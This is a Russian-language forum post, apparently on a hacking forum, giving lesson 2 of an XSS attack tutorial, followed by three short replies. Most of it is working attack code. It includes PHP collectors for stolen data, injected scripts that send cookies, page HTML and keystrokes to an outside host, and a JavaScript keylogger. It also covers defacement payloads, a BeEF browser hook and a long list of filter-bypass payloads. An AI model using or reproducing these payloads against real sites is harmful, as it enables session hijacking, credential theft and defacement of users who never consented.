Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода ф

Pain

The Godfather
Botnet Operator
Joined
Feb 18, 2017
Messages
1,781
Reaction score
158
Кража данных с помощью XSS и их передача на удалённый сервер
Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить хостинг.

Для приёма и показа данных я буду использовать следующий код:
Code:
<?php

 

#error_reporting(0);

 

$filename = 'log.txt';

$password = 'pass';

 

if (!file_exists($filename)) {

    if ($fh = fopen($filename, 'w')) {

        fclose($fh);

    }

}

 

if (isset($_GET['c'])) {

    $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL;

    $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL;

    $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL;

    $content .= PHP_EOL . PHP_EOL;

    file_put_contents($filename, $content, FILE_APPEND | LOCK_EX);

}

 

if (isset($_GET['p'])) {

 

    if ($_GET['p'] == $password) {

        if (isset($_GET['rm'])) {

            unlink($filename);

        } else {

            $data = file_get_contents($filename);

            $convert = explode("\n", $data);

            for ($i = 0; $i < count($convert); $i++) {

                echo $convert[$i] . '</br>';

            }

        }

    }

}

Я сохранил его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.

В строках
Code:
$filename = 'log.txt';

$password = 'pass';

Устанавливаются файл для хранения данных и пароль (pass).

Для передачи данных используется переменная c, например: http://ip-or-url/stealer.php?c=здесь данные

Для просмотра полученных данных: http://ip-or-url/stealer.php?p=pass

Для очистки файла с захваченными данными: http://ip-or-url/stealer.php?p=pass&rm

Уязвимость мы будем эксплуатировать в приложении http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Сборщик данных я разместил по адресу http://miloserdov.org/stealer.php

Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
Code:
<script>new Image().src="http://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>

Размещаем:

303.jpg

Получаем результат:

304.jpg

Можно украсть весь HTML код:
Code:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>


Или отдельные элементы:
Code:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.getElementById('idSystemInformationHeading').innerHTML));</script>

Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.


Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
Code:
<script>document.body.innerHTML=""</script>

305.jpg

А так без содержимого будет только выбранный элемент:
Code:
<script>document.getElementById('idSystemInformationHeading').innerHTML=""</script>


Можно поменять содержимое сайта на своё:
Code:
<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>

306.jpg

Добавить что-то от себя:
Code:
<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>


307.jpg

И делать что-угодно со стилями.


Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.

Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.

На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:

Исходный код exploit.js:
Code:
var keys = '';

document.onkeypress = function (e) {

    var get = window.event ? event : e;

    var key = get.keyCode ? get.keyCode : get.charCode;

    key = String.fromCharCode(key);

    keys += key;

};

window.setInterval(function () {

    new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;

    keys = '';

}, 1000);

Обратите внимание на строку:
Code:
new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;



Вместо miloserdov.org вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.

Второй файл exploit.php:
Code:
<?php



$password = 'pass';

 

if (!file_exists('keylog.txt')) {

    if ($fh = fopen('keylog.txt', 'w')) {

        fclose($fh);

    }

}

 

if (!empty($_GET['keylog'])) {

    $logfile = fopen('keylog.txt', 'a+');

    fwrite($logfile, $_GET['keylog']);

    fclose($logfile);

}

 

if (isset($_GET['p'])) {

 

    if ($_GET['p'] == $password) {

        if (isset($_GET['rm'])) {

            unlink('keylog.txt');

        } else {

            $data = file_get_contents('keylog.txt');

            $convert = explode("\n", $data);

            for ($i = 0; $i < count($convert); $i++) {

                echo $convert[$i] . '</br>';

            }

        }

    }

}

В нём можно ничего не менять – разве пароль установите на свой.

В сайте с имеющейся хранимой XSS мы вводим:
Code:
<script src="http://miloserdov.org/exploit.js"></script>


Обратите внимание на адрес – http://miloserdov.org/exploit.js – вам нужно заменить его на свой.

Вводим:

401.jpg



Просматриваем результат:

402.jpg



Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.

Атакующий запускает BeEF на своём сервере:
Code:
sudo beef

BeEF даёт подсказку, какой файл нужно внедрять в код: http://192.168.1.39:3000/hook.js

Наш код, который мы вставляем в сайт, уязвимый к XSS:
Code:
<script src="http://192.168.1.39:3000/hook.js">


Внедняем:

501.jpg

Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:

502.jpg

Выполняем разные атаки:

503.jpg

504.jpg



Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.

Базовая полезная нагрузка XSS:
Code:
<script>alert("XSS-by-Shawar")</script>

"><script>alert("XSS-by-Shawar")</script>

"><script>alert(/XSS-by-Shawar/)</script>

Внутри тэга Script:
</script><script>alert("XSS by Shawar")</script>

");alert("xss-by-shawar");//

Обход ограничения тэга script путём замены регистра:
Code:
"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)>

"><ScRiPt>alert("xss by shawar")</sCrIpT>

XSS с использованием тэгов Image и HTML:

Работает только в Chrome
Code:
"><detials ontoggle=confirm(0)>

"><IMG SRC=x onerror=javascript:alert(&quot;XSS-by-Shawar&quot;)>

"><img onmouseover=alert(“XSS by Shawar”)>

"><test onclick=alert(/xss-by-shawar/)>clickme</test>

"><a href=javascript:alert(/xss-by-shawar/)clickme</a>

"><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1>

"><svg/onload=prompt("XSS by Shawar Khan")>

"><body/onload=alert("XSS by shawar")>

В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)

Если input внутри тэга <style>:
Code:
body{xss:expression(alert("XSS by Shawar Khan"))}


Если input внутри атрибута style=" ":
Code:
xss:expression(alert(/xss-by-shawar/)


Обход фильтрации тэга script:
Code:
<<SCRIPT>alert("XSS by Shawar");//<</SCRIPT>

%253script%253ealert(/xss-by-shawar/)%253c/script%253e

"><s"%2b”cript>alert(/xss-by-shawar/)</script>

foo<script>alert(/xss-by-shawar/)</script>

<scr<script>ipt>alert(/xss-by-shawar/)</scr</script>ipt>

Продвинутая полезная нагрузка:
Code:
"><IMG SRC=x onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

"><a XSS-test href=jAvAsCrIpT&colon;prompt&lpar;/XSS-by-Shawar/&rpar;>ClickMe

"><h1/onclick=au006ceru0074(/xss-by-shawar/)>clickme</h1>

"><a id="a"href=javascript&colon;au006ceru0074&lpar;/xss-by-shawar/&rpar; id="xss-test">Click me</a>#a <

<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">clickme

Некоторые альтернативы полезных ключевых слов:
Code:
alert = au006ceru0074

prompt = pu0072omu0070u0074

confirm = cou006efiru006d

javascript = j&#x00041vascr&#x00069pt

: = &colon;

( = &lpar;

) = &rpar;

использование alert(/xss/) в ссылке = alert%28 /xss/%29 example: <a href="javascript:alert%28 /xss/%29">clickme

base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+


Следующий урок скоро будет
P.s: И даже не думай использовать этот урок что бы хацкнуть hhide.su:D
P.p.s: Все равно ничего не получится)
 

g_prof

New member
Joined
Dec 7, 2007
Messages
3
Reaction score
0
"Hey OP, nice tutorial series so far. I'm curious to know more about the BeEF part - have you got some tips on how to use it effectively for XSS attacks?"
 

mr_dos

New member
Joined
Dec 24, 2009
Messages
2
Reaction score
0
"Dude, what's up with all the Russian titles? Are we trying to confuse our own members? Just curious, what's the takeaway from this 2nd lesson on XSS?"
 

khrolenko

New member
Joined
Aug 29, 2006
Messages
4
Reaction score
0
"Dude, I'm not sure what's more concerning in this tutorial, the fact that it's teaching XSS attacks or that it's in Russian... Either way, this is some scary stuff."
 
Top